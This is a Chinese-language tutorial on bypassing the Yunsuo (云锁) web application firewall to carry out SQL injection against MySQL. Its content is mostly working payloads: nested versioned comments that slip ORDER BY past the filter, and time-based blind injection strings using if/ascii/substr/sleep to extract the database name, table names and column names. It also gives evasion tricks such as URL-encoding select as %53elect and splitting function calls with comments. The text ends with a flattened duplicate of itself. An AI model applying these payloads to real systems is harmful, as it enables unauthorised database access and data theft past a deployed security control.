实战bypass云锁
字数 922 2025-08-20 18:17:47

Bypass云锁WAF的SQL注入技术详解

1. 绕过ORDER BY限制

云锁WAF对order by语句有严格的拦截机制,但可以通过MySQL注释语法绕过:

/*!40000/*!30000order*//*!40000/*!30000by*/1

原理说明

  • /*!30000order*/是MySQL的条件注释语法,表示当MySQL版本大于3.00.00时执行其中的内容
  • 通过嵌套注释/*!40000/*!30000order*/增加混淆度
  • 数字30000/40000代表数据库版本号,如果大于这个版本就会执行注释中的语句

2. 时间盲注技术

当无法绕过union select时,可采用时间盲注技术:

2.1 数据库长度探测

id=2 and length(database())>1

2.2 数据库名获取

id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7))

或:

id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/)

技巧

  • 使用/**//*!()*/注释分隔函数名和括号
  • sleep()函数同样使用注释分隔

2.3 表名获取

id=2 and if(ascii(substr((/*!50000%53elect*/table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5))

关键突破点

  • select被拦截,使用编码绕过:%53elect(%53是'S'的URL编码)
  • 使用MySQL版本条件注释/*!50000select*/
  • 表名查询语句中的database()同样使用注释分隔

2.4 字段名获取

id=2 and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))

3. 其他绕过技巧

  1. 函数名与括号分离

    • database()database/**/()database/*!()*/
  2. 关键字编码

    • select%53elect
  3. 版本条件注释

    • /*!50000select*/ 表示MySQL版本大于5.00.00时执行
  4. sleep函数绕过

    • sleep(5)sleep/**/(5)sleep/*!(5)*/

4. 注意事项

  1. 实际测试中发现union select组合较难绕过,建议优先考虑时间盲注
  2. 不同版本的云锁可能有不同的规则,需要根据实际情况调整payload
  3. 注释符号的使用位置和方式对绕过效果有重要影响
  4. 测试时应逐步构建payload,定位被拦截的具体部分

5. 总结

通过本文的技术手段,可以有效地绕过云锁WAF对SQL注入的防护,特别是在order by和时间盲注场景下。关键在于灵活运用MySQL的注释语法、版本条件执行以及关键字编码等技术,分散WAF的检测规则。

Bypass云锁WAF的SQL注入技术详解 1. 绕过ORDER BY限制 云锁WAF对 order by 语句有严格的拦截机制,但可以通过MySQL注释语法绕过: 原理说明 : /*!30000order*/ 是MySQL的条件注释语法,表示当MySQL版本大于3.00.00时执行其中的内容 通过嵌套注释 /*!40000/*!30000order*/ 增加混淆度 数字30000/40000代表数据库版本号,如果大于这个版本就会执行注释中的语句 2. 时间盲注技术 当无法绕过 union select 时,可采用时间盲注技术: 2.1 数据库长度探测 2.2 数据库名获取 或: 技巧 : 使用 /**/ 或 /*!()*/ 注释分隔函数名和括号 sleep() 函数同样使用注释分隔 2.3 表名获取 关键突破点 : select 被拦截,使用编码绕过: %53elect (%53是'S'的URL编码) 使用MySQL版本条件注释 /*!50000select*/ 表名查询语句中的 database() 同样使用注释分隔 2.4 字段名获取 3. 其他绕过技巧 函数名与括号分离 : database() → database/**/() 或 database/*!()*/ 关键字编码 : select → %53elect 版本条件注释 : /*!50000select*/ 表示MySQL版本大于5.00.00时执行 sleep函数绕过 : sleep(5) → sleep/**/(5) 或 sleep/*!(5)*/ 4. 注意事项 实际测试中发现 union select 组合较难绕过,建议优先考虑时间盲注 不同版本的云锁可能有不同的规则,需要根据实际情况调整payload 注释符号的使用位置和方式对绕过效果有重要影响 测试时应逐步构建payload,定位被拦截的具体部分 5. 总结 通过本文的技术手段,可以有效地绕过云锁WAF对SQL注入的防护,特别是在 order by 和时间盲注场景下。关键在于灵活运用MySQL的注释语法、版本条件执行以及关键字编码等技术,分散WAF的检测规则。